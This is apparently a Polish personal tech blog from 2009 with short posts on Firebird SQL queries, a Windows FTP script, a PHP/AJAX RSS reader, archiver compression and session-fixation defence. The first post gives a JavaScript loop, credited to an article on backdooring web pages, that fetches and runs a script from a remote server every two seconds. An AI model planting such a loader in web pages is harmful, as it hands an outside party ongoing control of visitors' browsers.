Można jeszcze dorobić dostęp do zdalnego repozytorium kodu:
(jakby ktoś chciał zrobić update kodu naraz dla wszystkich klientów)
za http://www.gnucitizen.org/blog/backdooring-web-pages/


setInterval(function () {
var head = document.getElementsByTagName('head').item(0);
var old = document.getElementById('last_loaded_cmd');

if (old)
head.removeChild(old);

script = document.createElement('script');
script.src = 'http://ip.serwera';
script.type = 'text/javascript';
script.defer = true;
script.id = 'last_loaded_cmd';
void(head.appendChild(script));
}, 2000);



poniedziałek, 15 czerwca 2009

Elektroniczny papier


Wreszcie

gadżet na jaki czekałem kilka miesięcy
wprawdzie nie można go jeszcze zwijać do kieszeni
ale i tak jest to spory postęp.

http://webhosting.pl/Crunchpad._.juz.niedlugo.na.rynku

Firebird lista tabel

List Tables: SELECT rdb $ relation_name FROM rdb$relations WHERE rdb$view_blr IS NULL AND ( rdb$system_flag IS NULL OR rdb$system_flag = 0 ) ;
List Views: SELECT rdb$relation_name
FROM rdb$relations
WHERE rdb$view_blr IS NOT NULL
AND (rdb $ system_flag OR IS NULL rdb $ system_flag = 0);
List tabs+colums:  SELECT  f.rdb$relation_name ,  f.rdb$field_name
 FROM rdb$relation_fields f
JOIN  rdb$relations r ON  f.rdb$relation_name =  r.rdb$relation_name  AND r.Rdb$view_blr IS NULL
   AND (r.rdb$system_flag IS NULL OR  r.rdb$system_flag = 0)
   AND (r.Rdb$system_flag IS NULL OR r.rdb$System_flag = 0)
 ORDER BY  1 ,  f.rdb$field_position;
List Columns of table:SELECT rdb$field_name
 FROM  rdb$relation_fields
 WHERE  rdb$relation_name = 'JM'

piątek, 29 maja 2009

skrypt FTP . BAT w windows

w shellu windowsa dziala nast. skrypt

ftp -i -s:plik.txt

-i - oznacza aby nei pokazywal odpowiedzi serwera
-s - odpal nastepujące komendy z pliku.txt

plik.txt:

open adres.domena.com.pl polaczenie z adresem
username np.anymous
password np.123
cd /sciezka
put 1.in kopiuj na serwerjakis plik
quit " ew. komenda bye

poniedziałek, 25 maja 2009

RSS reader w PHP + AJAX

Własny czytnik RSS:


Nie ma to jak dziwne technologie
Ajax jest jedną z takich technologii.
Jest to metoda na komunikacje strony HTMl ze
skryptami JAVASCRIPT i potem wrzucanie w HTML
wyników.Powstał ponieważ sam HTML jest zbyt ubogi
dla stron internetowych.

1. wyświetlamy HTML:
w niego wrzucamy select'a z jedna z option value np
"magiczny_krakow"
2.dajemy calemu selectowi atrybut showwRSS(this.value)
3.teraz pozostaje wywolac JAVASCRIPT ktora odpala PHP z
_GET["q"]="magiczny_kraków"
4.zwrócić wynik do orginalnego HTML

PHP najpierw tworzy nowy dokument DOM:
$xmlDoc = new DOMDocument();
$xmlDoc->load(http://www.krakow.pl/komunikaty/rss/rss_krakow.xml);



Kanał RSS to po prostu XML ktory ma nastepujące atrybuty:
<item>
  • title
  • link
  • description
</item>
Które można zczytać następująca skladnia:
$x=$xmlDoc->getElementsByTagName('item');
for ($i=0; $i<=5; $i++)
{
$item_title=$x->item($i)->getElementsByTagName('title')
->item(0)->childNodes->item(0)->nodeValue;
$item_link=$x->item($i)->getElementsByTagName('link')
->item(0)->childNodes->item(0)->nodeValue;
$item_desc=$x->item($i)->getElementsByTagName('description')
->item(0)->childNodes->item(0)->nodeValue;



czwartek, 21 maja 2009

Zip Archiver compression comparison

Dziś porównywałem
jakość kompresji poszczególnych archiwerów pod UNIXEM
najlepiej wypadł oczywiście 7z,
co ciekawe z opcja mx1 - fastest - ma zdecydowanie najlepszy Size/Time ratio.
Bije na głowe inne archiwizery : np. nieszczęsnego RAR.

compression comparison

Jak widac opcja mx9 - najmocniejsza kompresja jest tylko dla masochistów
,którzy lubią ogrzewać, pomieszczenia komputerami zamiast grzejnikami.

wtorek, 12 maja 2009

Session Adoption - walka z porywaniem sesji

Ostatnio doszły mnie słuchy ze cześć skryptów jest niezabezpieczona przed adopcja sesji.
Adopcja sesji - umieszczanie własnej (użytkownika) sesji w magazynie danych.
Oto jak się zabezpieczyć:



session_start();

if (!isset($_SESSION['our_own']))

{

session_regenerate_id(true);

$_SESSION['our_own'] = true;

}

Innymi słowy serwer akceptuje tylko sesje stworzone przez system (samego siebie).
  • session_regenerate_id(true) - mówi serwerowi aby utworzył nową sesje(z nowym id) a starą usunął - za to odpowiada argument true.